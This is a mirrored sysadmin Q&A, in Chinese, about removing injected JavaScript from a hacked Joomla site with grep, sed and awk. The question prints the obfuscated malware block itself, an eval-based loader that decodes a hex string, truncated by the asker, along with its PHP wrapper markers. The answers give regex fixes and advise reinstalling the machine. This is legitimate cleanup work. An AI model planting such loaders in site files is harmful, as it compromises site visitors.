AskOverflow.Dev

AskOverflow.Dev Logo AskOverflow.Dev Logo

AskOverflow.Dev Navigation

  • 主页
  • 系统&网络
  • Ubuntu
  • Unix
  • DBA
  • Computer
  • Coding
  • LangChain

Mobile menu

Close
  • 主页
  • 系统&网络
    • 最新
    • 热门
    • 标签
  • Ubuntu
    • 最新
    • 热门
    • 标签
  • Unix
    • 最新
    • 标签
  • DBA
    • 最新
    • 标签
  • Computer
    • 最新
    • 标签
  • Coding
    • 最新
    • 标签
主页 / server / 问题 / 515095
Accepted
Matt Bear
Matt Bear
Asked: 2013-06-12 12:02:35 +0800 CST2013-06-12 12:02:35 +0800 CST 2013-06-12 12:02:35 +0800 CST

GREP 查找并使用 SED 替换所有文件上的字符串

  • 772

我们的一个旧托管 Joomla 网站遭受了 JavaScript 注入,我正在清理它。以下代码被插入到每个 .php 或 .js 文件中:

<?
#0c0896#
echo " <script type=\"text/javascript\" language=\"javascript\" > bv=(5-3-1);aq=\"0\"+\"x\";sp=\"spli\"+\"t\";ff=String.fromCharCode;w=window;z=\"dy\";try{document[\"\x62o\"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w[\"eval\"];if(1){f=\"17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,71,61,58,67,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1\"[sp](\",\");}w=f;s=[];for(i=2-2;-i+1333!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}</script>";

#/0c0896#
?>

“确切的语法,虽然实际代码要长得多,但我从中间切掉了很多十六进制以使其更容易”

我正在尝试使用 GREP 和 SED 来查找和替换所有文件,但我认为我的 SED 语法不太正确。

grep -rl "4b,60,64,5c,1f,6b,66,5b,58,70,25,5e,5c,6b,4b,60,64,5c" ./ | xargs sed -i 's/<?[.*]#0c0896#[.*]#\/0c0896#[.*]?>//g

我在这里要做的是使用 grep 在所有文件中搜索有效的代码片段,然后使用 SED 替换标签 #0c0896# 以及中间的所有内容。

grep
  • 2 2 个回答
  • 768 Views

2 个回答

  • Voted
  1. Best Answer
    200_success
    2013-06-12T12:25:24+08:002013-06-12T12:25:24+08:00

    Sed 是错误的工具,因为它一次只考虑一行。

    Awk 是对两个匹配行之间的内容执行操作的更好的工具。

    awk '/a/,/b/ { next } { print }'
    

    将跳过匹配正则表达式a和正则表达式b的行之间的所有内容。

    然而,一个更直接的答案是,一旦一台机器受到威胁,你就不能信任它上面的任何东西。专业系统管理员唯一合适的做法是从头开始重新安装机器。

    • 4
  2. glenn jackman
    2013-06-12T12:13:10+08:002013-06-12T12:13:10+08:00

    代替

    <?[.*]#0c0896#[.*]#\/0c0896#[.*]?>
    

    利用

    <?.*#0c0896#.*#\/0c0896#.*?>
    

    括号表达式只匹配一个字符,该字符在括号中。同样在括号表达式内,正则表达式量词和其他特殊字符失去了意义。您提供的表达式的意思是:匹配一个左尖括号,后跟一个问号,然后是一个点或一个星号,然后是 ...

    Sed 是面向行的,所以.*上面的不会跨行。有问题的代码在一行中吗?

    • 1

相关问题

  • 忽略查找/输出中的错误

  • 你有任何有用的 awk 和 grep 脚本来解析 apache 日志吗?[关闭]

  • 如何在 linux 中模拟旧的 unix grep -S strict 功能

  • 使用 grep 和文件模式进行递归文本搜索

  • 如何在 FreeBSD 中查找文件

Sidebar

Stats

  • 问题 205573
  • 回答 270741
  • 最佳答案 135370
  • 用户 68524
  • 热门
  • 回答
  • Marko Smith

    新安装后 postgres 的默认超级用户用户名/密码是什么?

    • 5 个回答
  • Marko Smith

    SFTP 使用什么端口?

    • 6 个回答
  • Marko Smith

    命令行列出 Windows Active Directory 组中的用户?

    • 9 个回答
  • Marko Smith

    什么是 Pem 文件,它与其他 OpenSSL 生成的密钥文件格式有何不同?

    • 3 个回答
  • Marko Smith

    如何确定bash变量是否为空?

    • 15 个回答
  • Martin Hope
    Tom Feiner 如何按大小对 du -h 输出进行排序 2009-02-26 05:42:42 +0800 CST
  • Martin Hope
    Noah Goodrich 什么是 Pem 文件,它与其他 OpenSSL 生成的密钥文件格式有何不同? 2009-05-19 18:24:42 +0800 CST
  • Martin Hope
    Brent 如何确定bash变量是否为空? 2009-05-13 09:54:48 +0800 CST
  • Martin Hope
    cletus 您如何找到在 Windows 中打开文件的进程? 2009-05-01 16:47:16 +0800 CST

热门标签

linux nginx windows networking ubuntu domain-name-system amazon-web-services active-directory apache-2.4 ssh

Explore

  • 主页
  • 问题
    • 最新
    • 热门
  • 标签
  • 帮助

Footer

AskOverflow.Dev

关于我们

  • 关于我们
  • 联系我们

Legal Stuff

  • Privacy Policy

Language

  • Pt
  • Server
  • Unix

© 2023 AskOverflow.DEV All Rights Reserve